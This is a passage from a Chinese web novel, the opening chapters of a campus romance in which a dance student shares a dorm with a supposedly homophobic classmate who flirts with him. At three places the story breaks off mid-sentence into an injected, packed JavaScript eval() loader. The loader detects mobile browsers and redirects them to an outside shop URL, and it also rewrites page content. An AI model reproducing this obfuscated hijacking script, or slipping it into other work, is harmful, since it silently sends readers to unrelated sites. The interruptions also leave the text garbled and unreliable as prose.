《你不是直男吗?》 1. 搬寝室 九月的上江城,即使已经步入立秋,温度却还是居高不下。 温述拉着行李箱,找了个阴凉处站着,看着手机上导员发来的通知,只觉得头顶的太阳的九个兄弟复活了,热得他出现了幻觉。 换句话说,天塌了。 导员:温述,临时接到通知,你这学期需要换寝室,今年新生招多了,宿舍楼不够住,需要把空着的房间填上,你的新寝室在一号楼八层,809。 如果只是简单的换寝室的话,温述还不至于会是这个反应,但问题是…… 看着导员发来的另外一个室友的名字,他叹了口气。 命苦。 “哎,温温。” 听到有人叫自己,温述收了手机,抬头看过去,是之前的室友兼好友,林清。 “怎么在这儿站着?”林清说着,从拎着的袋子里摸了一个冰棍递给他。“话说你知道我们换寝室了吗?导员应该和你说过了吧?” 温述接过,一边拆包装袋一边回道:“嗯,我知道,导员和我说了。” 他的声音带着南方人的温软,轻且柔,给人的感觉很舒服。但再怎么好听,也能察觉到他此时的心情并不怎么样。 林清看了一眼他,“怎么了?给你分的寝室很差?但A大的寝室,再差也差不到哪去吧。” "不是这个啦,寝室挺好的,是两人寝。" A大的寝室有两人寝和四人寝,温述之前住的就是四人寝,配置上没什么太大的区别,但两人寝总归是要比四人寝方便一点的。 “这不是挺好的嘛?”林清开玩笑道,“还是说我们系花担心被新室友表白?” 这话不是没有道理,温述,舞蹈系有名的美人,明明是个男生,脸部线条却很柔和。眼尾上挑,是很漂亮的桃花眼,琥珀般的瞳眸看着人的时候,总让人觉得他带着淡淡的笑。 他的皮肤很白,手上的玉镯衬得他很纤细,嘴唇殷红,经常被女孩子问是什么色号的口号,但天地良心,他真的什么都没抹。 当然了,最引人注目的还是他那如瀑的长发,大一刚开学那会儿不知道被多少男生要过联系方式。弄得他很无奈,只能一遍遍解释自己也是男生。 结果来要联系方式的人不降反增。问就是,被掰弯了,说什么不论多直的一个人,只要和他对视一眼都会爱上他。 温述对此不做评价。 鬼才信啊喂,他是美杜莎吗!一群见色起意的家伙! 但也因为这个,校园论坛上进行无聊的“系花投票”的时候,他的票数一马当先,经常被朋友拿来开玩笑打趣他。 温述想了一下新室友和他表白的场景,感觉一阵恶寒,打了个颤。 “还是不要了吧,好吓人。”温述这么说着,又咬了一口冰棍。 “好吧好吧,不逗你了,你寝室在哪?陪你去,你这大包小包的东西,不知道得搬到啥时候。” 听他这么说,温述也没推辞,报了寝室号,将最后一口冰棍塞进嘴巴里,两个人一人一个箱子和包,朝着一号楼走过去。 他的人缘很好,路上遇到很多认识的人,被投喂了不少零食,还没到寝室,手上就已经多出来一大袋零食了,让他们更加“负重前行”。 好不容易到了,两个人都累得不想说话,温述直接靠着墙缓缓滑下去坐在地上,低垂着脑袋喘着气,林清则是到处找空调遥控器。 结果空调遥控器没找到,倒是看到了另外一个室友的学生证。 林清对着那张学生证沉默了一下,猛地扭过头看向温述,大惊失色道:“温述,你新室友是陆延青?” 他说为什么这个寝室号听着这么耳熟呢! 温述闻言抬起头,漂亮的眼睛里满是空洞,沉重的点了点头。 林清张了张嘴,不知道该说什么,半晌憋出来了一句:“保重。” 别的不说,虽然有男生来管温述要联系方式或者表白的时候,温述都没有同意,但作为好友的林清知道,温述其实是个弯的,只是暂时没有恋爱想法而已。 但问题是……那位陆延青,是个直男。 且严重恐同。 林清想安慰他但不知道怎么安慰的样子太过好笑,温述忍不住笑出了声,宽慰道:“好啦,其实也没什么,反正他又不知道,我从来没有对外说过不是直男。” 话虽然这么说,但林清还是有点担心,毕竟那个陆延青的风评实在不怎么样。 金融系的天才,保送来的A大,家里很有钱,脾气很差劲,洁癖十级,据说吃饭前会拿纸巾擦好久的桌子,相当龟毛。但无奈长得实在是帅,身高还是完美的191。 常年健身,胸肌腹肌人鱼线一样不差,妥妥的gay圈天菜,被不少小男生表白过,拒绝的话说得很不客气,曾在表彰大会上致辞完之后明牌自己是直男。 当时温述因为身体不舒服没去,事后听到这件事,只有一个感觉:死装。 现在那把回旋镖打中自己了,他要和那个死装哥住一个寝室了。 你说说这事儿闹得,哈哈。 温述笑不出来。 “什么不是直男。” 一道不冷不热的声音忽然响起,温述的身旁不知道什么时候多出来一个身影,他仰起头,和站在门边,低头垂眸看他的人撞上视线。 说曹操曹操到。 抛开别的不谈,这张脸确实帅得惨绝人寰。 和他不同,陆延青的脸部线条很凌厉,眉眼深邃立体,嘴唇很薄。和温述的看狗都深情相反,他看谁都是狗。 眼下,他看着温述,又重复了一遍:“什么不是直男?” 但是话又说回来了,温述抛不开。 林清见状,对温述使了一个眼色,然后硬着头皮,视死如归的说道:“是我,我刚才和他说我发觉我好像不是直男。” 为朋友两肋插刀,他拼了!谁人看了不说一句感动中国十大好友! 还没自我感动完,下一秒,他接收到了来自恐同人的冰冷的视线。 陆延青表情很冷淡,甚至可以说是冷漠,眉头微微蹙起,像是瞬间就没了兴致般:“那请你离开我的寝室。” 林清:“?” 你??? 他现在想把刚才插在自己两肋上的刀插在陆延青脑袋上。 刚想撸起袖子和陆延青理论,又想到如果他和陆延青吵起来,温述可能会很难办,十分憋屈的把话咽了下去。 温述适时插了进来:“那个,清清,你不是一直想吃那家网红餐厅嘛?我定了位置,你先去吧,不然我俩去晚了会过号。” 听到温述这么说,林清表情好了一些,但还是有些不高兴,哼了一声:“行,走了温温,有的人架子大得很,说是两人寝,其实是他一个人的寝室,多待一秒都要赶人,哪天你也被赶出来了和我说一声,咱们俩出去租房子住。” 出门前还特意白了陆延青一眼,看起来那句话真的让他很生气。 但是当然了,这番举动并没有让罪魁祸首有什么表示。陆延青只是将视线又移了回来,然后问道:“他是弯的,你呢。” 一开口就老吓人了,不是哥你怎么还没过去这茬啊! 温述从地上站起来,还没说话,就听见陆延青继续道:“叫温述是吗,我听说过你。” 温述抬眼。 “艺术系的人间扳手,所以,你本人是?” 听到这个称呼,温述头皮一阵发麻,尬死他了……到底谁给取的外号啊喂! 他知道陆延青想听的是什么,虽然他不是,但他大学期间并不想谈恋爱,所以也可以算半个是,再加上陆延青刚才听到林清说自己是同的反应,为了一个良好的室友关系,他昧着良心说:“直的。” 毕竟他没有多余的钱去租房子,人总不能为了尊严流浪街头。 听 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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温述轻啧了一声,刚想放下手上的东西,忽然感觉自己后颈被什么碰了一下,扭头看过去,陆延青不知道什么时候走到了他的身后,手上还拎着他装衣服的箱子,另一只手上,则是托着他刚才垂下来弄得他发痒的头发。 温述:"?" 见他看过来,陆延青也没松手,只是说道:“头发散了看着难受,想提醒你。” “……谢谢提醒。”温述将自己的头发抢过来,又看了一眼他手上的自己的箱子,欲言又止。 “你东西多,随手帮个忙。”陆延青这么说着,头也不回的将箱子拎到温述的房间里。 不管怎么说,他都帮了自己,出于礼貌,在他出来的时候,温述还是道了声谢:“谢谢。” “嗯。”陆延青应了一声,想起来了什么,问道,“用的什么洗发水?” “什么?” “挺好闻的。” 温述愣了一下,说道:“就普通的洗发水,不留香啊,那个洗发水本来味道就淡淡的。” “那就是你身上香了,沐浴露或者洗衣液。” 温述不知道该说什么,他能说其实应该是他喷的香水的味道吗?但是说了陆延青又问大男人喷什么香水怎么办?又不好解释。 思考两秒后,他回道:“那就不知道了,我的沐浴露和洗衣液都不留香。” 把天给聊死,反正他说了都不留香,到底是从哪来的香,让闻到的人自己想去,总之他不知道。 温述觉得自己简直聪明死了。 “都不留香,那是你自己的体香?挺少见的,味道不错。”说到这,陆延青眯了眯眼,又补了一句。 “后颈挺软的,刺青很漂亮。” 说完,手机铃声响了,陆延青看了眼来电人,对温述点头示意了一下,出门接电话去了,徒留温述一个人怔在原地。 温述整个人处于宕机的状态,他仔细想了一下刚才的对话,然后忽然惊觉,抬手捂住了自己的后颈。 他刚刚好像,被直男给调戏了? …… 可恶的直男,没有边界感,说话没轻没重的! 脸颊泛起热,他暗暗给陆延青扣起了分。 和陆延青见的第一次面,温述扣了他十分。 2. 占便宜 直到和林清在餐厅会和,温述都没有缓过来那个劲儿。 坐在餐桌前,眼睛看着菜单,但实际上一个字也没有看进去,林清那边已经点完了,温述却还什么动作都没有。 忽地,手上的菜单被人给抽走,温述抬眼,对上林清探究的目光。 “怎么了这是?魂不守舍的。”林清说着,想起了什么,声音不自觉加大了一些,“那个姓陆的欺负你了?” “倒也没有……”温述摇了摇头,将菜单又拿了回来,开始点单。 他总不能说他被那个姓陆的直男占便宜了,说出去会被笑话死的吧,他才不要。 简单点了几样之后温述将菜单交给服务员,咬着果汁的吸管,有一搭没一搭的和林清聊着天。 这家网红餐厅是暑假才开的,生意很火爆,林清和他念叨了好久,他提前大半个月才订到了位置。店里的环境很好,草木和建筑巧妙的融合在一起,完全不突兀,温述抬手摸了摸旁边的花,是真花,凑近闻还有淡淡的花香。 “我当即就是一个闪现过去将他打倒在地,居然敢嘲讽我,谁爱忍谁忍,反正我忍不了。”林清说得神清气爽,拿起桌上的果汁一口干了,像打了胜仗一般,得意极了。 温述眨了眨眼,反应了一下,慢吞吞的说:“原来那个是嘲讽吗?我一直以为是网卡了。” “?”林清觉得不可思议,“那你平时遇到这种,是怎么应对的?” “我没打他,去打他队友了。” 林清听后面色复杂的看着他,两秒后说道:“好了温温,你基本告别游戏圈了,你太乖了。” “我本来也不玩游戏,是你拉着我玩的。” “好好,是我带坏你了,我给你赔罪,以果汁代酒。”说完,又闷了一杯。 温述就这么看着他装模作样,林清嘿嘿笑了一声,刚想说些什么,余光看到门口进来的人,笑不出来了。 “怎么了?”坐在对面的温述注意到他的脸色变化,也扭过头看去,然后他也笑不出来了。 那很冤家路窄了,那这个大学城很小了。 门口的人靠在吧台前,因着出众的身高,导致他和前台小姐说话的时候需要微微低头,端的是一副彬彬有礼的绅士模样。 修长有力的手把玩着手上的打火机,旋转,开盖,点燃,合盖,然后重复上述操作,因为手好看,所以这套动作十分赏心悦目,被提醒了一下后,那人才将打火机收了起来。 死装。 温述将头扭了回来,木着脸喝了一口果汁,当作什么也没看到。 但天不遂人愿,听着越来越近的脚步声,温述除了感叹苍天无眼外,不知道该作何感想。 路过他们这桌的时候,温述微微撇过了头,林清也把脸低下去,两个人都在用力的躲藏自己。 倒也不是怕,只是不想看见陆延青,毕竟两人对他的印象都不怎么好。 但有个成语说得很好,那就是祸不单行。温述和林清发现,陆延青就坐在他们前面那一桌。 这就很坏了。 林清背对着陆延青倒还好,温述那个位置,可是实实在在能和陆延青抬眼对视的。 事已至此,就没有什么再伪装下去的必要了,温述直接不装了,扭过头,若无其事的拿起杯子,喝着所剩无几的果汁。 然后他发觉,对面的人在看他。 抬眼,和那人视线相撞。 对面的人就是在看他。 那种不冷不热的视线,淡淡的,就好像并不在意看的是什么,只是随便看看,总之就是让人很不爽的眼神。 似乎是因为温述一直盯着自己看,陆延青缓缓的扬了下眉梢,脸上却依旧没有什么表情。 温述:他在看不起我,他挑衅我。 什么意思啊!只许你看我,不许我看你吗? 温述不满的咬了咬嘴里的吸管,十分硬气的将视线收了回来。 不看就不看,谁稀罕! 他愤愤的猛吸一大口果汁,得到了鼓起来的腮帮,以及…… “呲呲——” “……” 温述发誓,陆延青刚才笑了。 绝对!他都看到了!! 陆延青确实笑了,在听到那象征着杯子见底的声音的时候,看过来的目光里都带着淡淡的笑。 所以温述察觉到的时候,第一反应是:他在嘲笑我。 这能忍?! 是能忍孰不能忍,叔能忍婶不能忍,林清能忍温述…… 温述也能忍。 关系户,已畏惧,温述甘拜下风。不甘,但拜下风。 坐在对面不知情的林清,就这么一脸茫然的看着他不动声色的转换表情,觉得实在是匪夷所思,忍不住问道:“怎么了这是?突然上演川剧变脸,中邪了?” 温述犹豫了一下,没有告诉他,随便扯了一个借口搪塞过去。 毕竟他要是说了,那就是温述能忍林清不能忍了,那就很完蛋了,按林清那个脾气,林清能当场站起来质问陆延青为什么看他。 "陆延青,你到底是不是来吃饭的?一直盯着我们看是想干什么?" 就像这样……嗯?!! 温述猛地反应过来,抬头看过去,林清手上拿着自己调制的酱料碟,站在陆延青的桌子旁,眼睛死死的看着陆延青,看起来像是刚调完蘸料回来,声音不大,但刚好可以让陆延青以及温述听见。 他本来就对先前陆延青赶他走这件事耿耿于怀,非常不爽,结果吃个饭还遇上了,不爽max,遇上就遇上了,这姓陆的居然还一直看他们这边。 想怎?故意挑事?林清忍无可忍,直接贴脸开大。 “我调蘸料的时候你就在看了吧?我都调完了你还在看,怎么,我们温温的脸下饭?” “?”温述听完,弱弱的拉了一下林清的衣摆,有点委屈,“你说他就说他,说我干什么。” 林清也反应过来自己刚才说的话不太对,下一秒火速改口:“怎么,不看着人不会吃饭吗?到底在看什么?” 其实这话有些过了,但林清在前面开炮,他总不能在后面灭火。朋友为他两肋插刀,他不能插朋友两肋一刀,所以他瞥了一眼陆延青,小小声说了一句:“就是就是。” 面对这可以说是刻薄的质问,陆延青没有什么太大的反应,在温述的印象里,他好像一直都是这样淡淡的。 “看温述的头发有没有重新扎上去。” 嗯,淡淡的说出不淡淡的话。 一提起这个,温述就想起宿舍里的那件事,瞬间就失去了战斗欲望,像个鹌鹑一样缩了回去。 林清狐疑的看了陆延青一眼,又看了温述一眼,然后问道:“温温,这是什么事?” 温述尴尬的笑了一声,企图蒙混过关,但林清蹙起来的眉头很明显的告诉他,这招不管用,于是他只能退而求其次说道:“回去和你说吧,我们先吃饭,我有点饿了。” 林清还想再说什么,但温述祈求的模样实在可怜,他又狠不下心,只能随他去了。不过有个条件,让温述和他换个位置,温述背对着陆延青,林清和他面对面。 其实温述不是很乐意,因为他为了吃饭方便,所以扎的还是丸子,后颈是露着的。 当时把刺青刺在这里的时候,也不是没想过扎起头发会露出来,当时也没在意,毕竟谁会想到自己会被直男调戏,而如今…… 为了不引起林清的怀疑,温述还是点头应允了,天知道他 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766923|190200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 用了多大的毅力才点的这个头。 没事,我的丸子扎的低,能遮住。温述这么安慰着自己。 事实上,确实能遮住,但不完全。 小丸子一动不动的时候可以完全遮住刺青,但人吃饭不可能一动不动,所以随着温述的动作,小丸子也上下起伏着,藏在下面的刺青若隐若现,有时露出几片花瓣,有时露出枝叶,有时什么也没露出来,但不管怎么样,露出来的都不是完整的一朵玫瑰。 纯勾人。 温述越吃越觉得这顿饭吃得如坐针毡,身后的视线的存在感太过强烈,让他觉得自己的后颈要被看穿了。 终于,他实在忍受不了了,趁着林清去洗手间,他猛地抬手捂住自己的后颈,扭过头瞪了陆延青一眼。 然后陆延青就笑了。 是的,陆延青笑了,不是那种看不见弧度的,上扬了几个像素点的笑,是真的笑了。他像是发现了什么有意思的事情,整个人的兴致都被拉高了。 他这个反应,给温述整不会了,漂亮的眼睛里写满了疑惑,顿了一下,然后严肃道:“你不要再看我了。” 本来想说不要再看他的后颈了,但这句话不知怎的,他说不出口,于是删掉了那个词。 陆延青似乎也知道自己有些过分了,点了点头:“抱歉。” 倒是没想到陆延青会道歉,温述眨了眨眼反应了一下:“什么?” 陆延青:“抱歉,我不该看你后颈。” “……”为什么,他完全没听出来陆延青的歉意。 这个人真的在抱歉吗? 温述木着脸,应了一声“好的”,把头又扭了回去。 但或许陆延青还是有点抱歉的吧,温述转过头之后,那种灼热的视线消失了。两分钟后,陆延青站起了身,去前台了,似乎是吃完了所以结账离开。 林清回来的时候发现陆延青不在,心情大悦,一个高兴把剩下的东西全部吃完了。 温述不懂,但大为震撼,他一直很佩服林清的饭量。 林清边吃边叮嘱温述千万不要和那个陆延青走得太近,他不是什么好人。温述一边应,一边在心里附和,对,他就是坏。 两个人就“陆延青不是好人”这个话题聊了许久,只不过一个是明着说,一个是暗里说。 林清看着温述这呆傻的样子,叹了口气,慈爱道:“算了,你这脑袋,就算真的被欺负了我也不意外,但记得一定要和我说,听到了没?” “?”温述不满,“怎么还人身攻击啊。” 林清笑了:“好了好了不逗你了,走吧回去吧。” 两人起身,去前台结账,温述刚拿出手机,就发现林清也拿出了手机,还没开始争,前台小姐一句话直接制止大战。 “你们那桌已经被结过了哦。” “?”两个人你看我我看你,都从对方的眼里看到了疑问。 “是你们后面那桌的先生,他说是对冒犯到您的赔偿。”前台说完,视线在他们之间徘徊了一下,然后将目光锁定在温述身上。 那一瞬间,温述有一种强烈的,很不好的预感。 下一秒。 “他说他不是故意看你的……” “好了我知道了!嘘!不要说!”温述的脸泛起红,急急忙忙打断了她的话。 他就知道,他就知道!前台小姐看着他的时候,他就有预感她要说的是这个,但也仅仅只是猜测,他没想到那家伙居然真的会让前台小姐给他带这话。 看着对面微微扬起的嘴角,温述只觉得脸都丢尽了。 陆延青!太坏了!!! 他不要脸自己还是要脸的啊! 死装哥,没有边界感还占人便宜的可恶的直男! 3. 加好友 在林清的淫威下,温述不情不愿的把宿舍里的事情复述了一遍。 林清听完后很平静,他仅仅只是“哦”了一声,然后刷起了手机,平静得温述都有些不适应,他觉得林清好像被气傻了。 试探性的戳了戳林清,在对方看过来的时候,温述眨了眨眼睛,小声问道:“怎么了呀?” 林清闭了闭眼,将手机收了起来,站起身撸起袖子,眼神坚定:“温温别怕,我这就去买把刀宰了那个臭小子。” 温述:? 他现在就很害怕啊喂! 着急忙慌拉住被气昏头的林清,温述只觉得陆延青实在是个祸害,只要和他有关的都没有好事! “他绝对克我。”温述在心里这么想着,“我以后见到他一定要绕着走。” 此时的陆延青在他心里犹如洪水猛兽,只觉得这人实在是坏,从来没有哪一刻如此清晰的觉得有的流言也并非空穴来风。 安抚好林清后,哄着他回了寝室,分别的时候,林清还在不死心的要温述和他一起出去住,他出房租。 温述哭笑不得的拒绝了他,并且再一次保证自己一定不会被陆延青欺负了之后,林清才终于不情不愿的走了。 送走林清,温述深呼吸了一下,视死如归般回了寝室。 陆延青不在。 整个寝室静悄悄的,只有空调运作发出的轻微沙沙声,温述做贼般确认完陆延青真的不在之后,彻底猖狂起来,对着陆延青的房门重重哼了一声。 哼完,左右看了看,确认没人发现之后,心情美丽的去了小厨房。 A大的寝室,说是寝室,其实更像民宿,东西应有尽有,电路每三个月检修一次,电器都是自动断电的,很少发生火灾。 温述打开冰箱,里面只有他带来的一些速食和甜品,陆延青平时不回寝室,所以也基本不会买东西。 想到这,温述心情更加美丽,默默祈祷陆延青能够和上学期一样在外面住。 切了一块蛋糕和几个蛋挞,他窝在沙发上,一边吃一边看校园论坛。 今天开学,论坛上面很是热闹,有抱怨换寝室的,有想向天再借五百年假期的,有问有没有人办卡的,还有捞人的。 温述毫不意外自己的照片会出现在论坛上,毕竟也不是第一次出现了。 照片上的他站在树荫下,额上出了薄薄的一层细汗,垂眸看着手机,几缕发丝被风微微吹起,偏偏自己浑然不觉。 纤长葱白的手指搭在行李箱的拉杆上,28寸的行李箱显得他整个人清癯又单薄,看着莫名有点乖顺。 嗯,拍照的人技术很好。 他点进去随便翻了翻,大概就是问他的名字以及专业,非常礼貌的一次捞人,就是下面的调侃实在是让他哭笑不得。 划了几下没了兴趣,三两下把手上的蛋挞吃掉,退了出来。 “还以为开学会有新鲜事儿呢。”温述这么想着,兴致缺缺。原以为新的一学期开学,加上还有新生,会有什么有意思的事,结果还是那些老掉牙的,没趣。 他伸手将小茶几上的蛋糕拿了过来,手指在屏幕上轻点,页面刷新,又刷新出来了一个捞人帖。 想跳过,但好奇心作祟,还是点了进去,看见帖主附的照片,瞬间来了劲儿。 新鲜事这不就来了。 虽然只是一个背影,但是温述可以很肯定的说,照片上的人绝对是陆延青。 【捞人】有没有同学知道这个帅哥是新生还是学长呀? 1L 姐妹你这一个背影谁认得出来是谁啊 2L 就是,但看背影感觉确实像个帅哥 3L 陆延青吧这人,整个学校也就他把百达翡丽当小天才电话手表一样戴了,也不怕丢 4L 楼上这话说的,咱们陆少差那点钱吗? 5L 真是陆延青啊?我本来没看见脸还不敢认来着 6L 看不见脸没关系,看见那块表就行了 7L 欸?所以说是学长吗?学长叫陆延青? 8L 是的,金融系的,确实是个帅哥,今年大三 9L 大三啊,好吧,可惜了【黄豆失望.jpg】 10L 到底在可惜什么? 11L 大三的学长,还长得这么帅,肯定有女朋友了,没机会了QAQ 12L 嗯……谁告诉你他有女朋友的? 13L 啊当然了,即使他没有女朋友各位学妹们的机会也是不大的,他是真不近女色,会主动和女生保持距离,冷脸绅士吧算是 14L 那你们说有没有一种可能,他对擦肩而过的我一见钟情,然后伸手拦下了我,说学弟,可以加个联系方式吗? 15 ?不可能的哦,他也不近男色哦 16L 笑死我了,嗯,就当给新生里的小众向学弟打个预防针吧,此男恐同 17L 且相当 18L 所以不要再问他的联系方式了啦!他也不可能会对男生一见钟情以及要联系方式的,他的脾气真的很不好,也是真的说话很难听 温述看着18楼这条,认同的点了点头,这是真的,陆延青是真的说话很难听,也是真的脾气很不好,相当的恶劣啊这个人。 想到今天下午发生的事情,温述愤愤的将一勺蛋糕塞进嘴里,腮帮子鼓起,咀嚼时一动一动的,像小仓鼠。 他不会原谅这个人的,绝对。没有分寸的,没有距离感的,可恶的直男! 咽下口中的蛋糕,温述的手指在屏幕上啪啪啪的打字,然后发送。 25L 是的,这个人相当的恶劣讨厌! 发完这条,温述退出了论坛,放下手机,将没剩多少的蛋糕一口塞进嘴巴里,一边嚼一边想着这个点了陆延青还没回来,那应该是不会回来了。 这样想着,心情好了不少,漂亮的眼睛微微弯起,哼着不成调的曲。 半场开香槟大概就是如此,啊当然了,后果自然也是虽迟但到。 “咔哒。” 温述高兴了没一会儿,一道细小的声音响起,不仔细听的话根本听不到。 他忽地顿住,嘴巴都停了下来,缓缓转过头,看向门口。 门缓缓地打开,缓缓地露出门外人的帅气的脸。但现在再帅气的脸温述也毫无欣赏之心,脑中缓缓的浮现了几个字。 好、讨、厌。 陆延青打开门便看见沙发上鼓着脸颊生无可恋和他对视的温述,见他这副样子,陆延青微不可察的轻笑了一声。 他当然知道为什么温述会是这副表情,也知道温述现在不想看见他,但没办法,他就要回来,谁让他就是这样恶劣呢。 对视了几秒,温述收回目光,装作若无其事般,将嘴巴里的蛋糕快速嚼了嚼咽下去,由于吃的太急还差点噎住。他缓了缓,而后拿起桌子上的手机,将蛋糕盒扔进垃圾桶里,准备回房间洗澡。 刚迈出一步,就被陆延青给叫住了。 “温述。” 温述不想理他,但不理人很不礼貌,于是只能不情不愿的停下脚步,别扭道:“干什么嘛。” 陆延青看着他的脸,随后目光下移至嘴唇,因为刚吃过东西的缘故,所以此时那两片柔软红艳且湿润。 他在唇瓣上停顿了两秒,后面不改色的将目光滑上去再次和温述对视。 温述整个人呆在那里,抛开别的不谈,意味不明的看别人的嘴唇这件事,怎么想都很奇怪啊!果然是仗着自己是直男所以无所畏惧吗?可恶的直男。 他在心里腹诽着,对面的陆延青忽然有了动作,他抬起手,点了点自己的唇角,语调微微上扬:“嘴边,有蛋糕渍。” “……” 温述抬手一抹,果然有一点奶油,他的脸瞬间泛上红,烧到了耳后根,手忙脚乱的抽了一张小茶几上的纸巾擦了擦嘴巴,低着头小声说道:“谢谢…… 我有点累,我先回房间休息了。” “温述。” 话音刚落,还没走出一步就又被叫住,温述有些恼羞,想干什么嘛这个人! 刚被指出嘴角有蛋糕渍,此时温述脸上挂不住,想逃离这个脚趾扣地的地方还被叫住,温述只觉得陆延青那张帅脸此时怎么看怎么讨厌。 “又干嘛!” 他的语气不自觉的带了些情绪,凶了一些,说出口又觉得后悔。其实仔细想想陆延青并没有做什么特别过分的事情,他只是提醒自己嘴巴没擦干净而已,是他自己脸皮薄,挂不住。 “没什么。”陆延青被他这小猫炸毛的样子逗笑了,声音软了些,像是怕惊扰了这只处于自我保护状态的小猫,“你有多出来的甜品吗,我有点低血糖。” 温述听他这么说,抬眼看了一眼他。 陆延青的面色比起下午,确实苍白了一些,嘴唇的颜色都淡了,看上去好像真的低血糖了。 知道自己低血糖还不备着糖,以后自己晕倒在寝室里都没有人知道。温述这么想着,嘴上还是说道:“哦,有的,在冰箱里,你自己拿吧。” 说完,想了想,又补了一句:“不能拿很多……我还要吃的。” “行,我就拿一个。”陆延青笑了一声。 这副戏谑的样子真是让人不爽,但看在他不太舒服的份上,温述大度的原谅了他,温述觉得自己简直太善良了。他点了点头,转身回了房间。 回到房间舒舒服服的洗了个澡,温述拿着吹风机吹头发,边吹边和林清打电话。 林清还是不放心陆延青,电话刚一接通就劈头盖脸的抛出问题。 温述就听着,一一回答了,顺便把刚才发生的事儿简单叙述了一下。林清听完后头脑风暴了 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16766924|190200||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 好一会儿,然后语气古怪的说道:“你的意思是说,你被一个直男给调戏了吗?” 温述:“……” 他不是这个意思,他没有说。 虽然说,确实是这样没错。 林清也是第一次见到这种情况,沉默了一会儿,然后下了结论:“不管怎么说,你离他远一点肯定没坏处,不要和他走太近。” 温述应了两声,有些无奈。 林清对他有一种近乎执着的保护欲,两个人从小一起长大,他从小身体就不好,经常生病,而林清又比他大几个月,自觉要担起哥哥的职责。 小时候温述因为营养不良总是被别的小朋友欺负,林清每次都会把他们打跑,然后去告诉老师。有段时间因为林清总是维护温述,导致林清也跟着被排挤。 但温述脾气好,不代表林清也脾气好,他从来都不是个善茬儿,被排挤的当天,就把欺负温述最狠的那几个小朋友给打了,还被叫了家长。即使在几方家长面前,小小的林清也丝毫不怵,掷地有声的说是他们先欺负温述的,他要保护温述。 这一保护就是十多年,成了习惯,导致即使现在温述已经十九岁了,不再是当时什么也不知道,只知道傻站着被人欺负的小孩子了,林清对他的保护欲也依旧没有减弱。 “好啦好啦,我又不是小孩子了,知道好歹的。” “你知道,嗯,你知道就不会被那个臭直男调戏了。” “……”过不去这茬了是吧! 温述面无表情,“好了时间也不早了,你早点睡觉吧,晚安。” 说完,干净利索的挂了电话,不给林清任何辩驳的机会。 挂完电话,温述收了吹风机,打算关灯上床躺,虽然现在睡觉有点早了,但是温述喜欢躺在床上的感觉,很舒服。 结果刚躺上床,被子刚盖好,刚把手机连接上充电线,房门就被敲响了。 很难说清温述现在是什么感想,嗯……其实也不是那么难,他现在想冲出去把外面那个敲他房门的人的脑袋给揪下来当球踢。 门外的人见他没开门也没应,或许是以为他没听见,又敲了几下:“温述?” 温述掀起被子坐起身,气势汹汹的下了床走到门前,刷的一下将门给打开了。 板着脸硬邦邦的说:“干什么。” 陆延青也知道自己打扰到他了,没说废话,将手上的东西递给他:“送你的,开学礼物加见面礼。” 温述原本熊熊燃烧的怨气瞬间平息了下去,甚至有些没反应过来,怔愣了一下,再开口时都有些磕巴:“啊,你,你还,给我准备了开学礼物啊……” 陆延青应了一声,语气淡淡的:“嗯,收着吧。” 温述看了一眼他,又看了一眼那个礼物,抿了抿唇,而后说道:“我不能收,我没有给你准备礼物。” 陆延青当作没听到,直接将盒子塞到温述的手里:“收着,又不让你回礼。” 看着自己手上的东西,想起自己之前对陆延青的态度,温述只觉得自己好过分,他都想着给自己准备开学礼物,而自己却因为外界的流言而对他有刻板印象,怎么想自己都不对啊! 他悄悄瞄了一眼陆延青,小声道:“对不起。” “嗯?”倒是没想到他会突然给自己道歉,陆延青抬了下眉。 温述见他这样,愈发脸皮薄,说不出口,糊弄了过去。 陆延青也没在意,只是又叮嘱了一句收着,转身准备离开,忽然想起了什么,侧过头说道:“加个好友吧。” "啊?哦哦,好的。" 加上好友之后,陆延青抬手摸了摸温述的脑袋,尾调上扬:“行了,睡吧。” 温述看着他离开,将自己脑袋上被他摸乱的头发捋顺,关上了门。 他回到床上,打开那个盒子,是一只翡翠镯,水头很好,看上去……很贵。 他犹豫了一下,拿出手机点进刚加上的头像的聊天框,打字发送。 文书:这个太贵重了,我明天还给你吧。 L:不用,不贵,你收着就行。 文书:可是…… L:从朋友那拿的,不贵。 文书:…… L:收着吧,配你,实在觉得过意不去,之后也给我补一个。 温述这下彻底没话说了,思来想去,发了个谢谢过去。 L:嗯,晚安。 温述回了个晚安。 睡自然是不可能睡的,温述漫无目的的刷起了朋友圈,挨个儿点赞了一圈后,准备找个番看,忽然刷新出来一条新的朋友圈。 然后好不容易有的一点儿愧疚之心瞬间烟消云散。 L:送了个东西,炸毛小猫瞬间顺毛,挺好哄。 温述:“……” 这说的,是他对吧? 这说的,就是他吧。 温述面无表情的返回去,将陆延青的备注给改了。 【死装哥】 4. 好脸色 没有早八的好处就是可以一觉睡到自然醒。 温述睁开眼的时候,意识还没清醒,只知道自己睡了个爽。他看着天花板,缓缓地打了个哈欠,眸中泛上水雾,眨了眨,眼泪顺着眼角滑下。 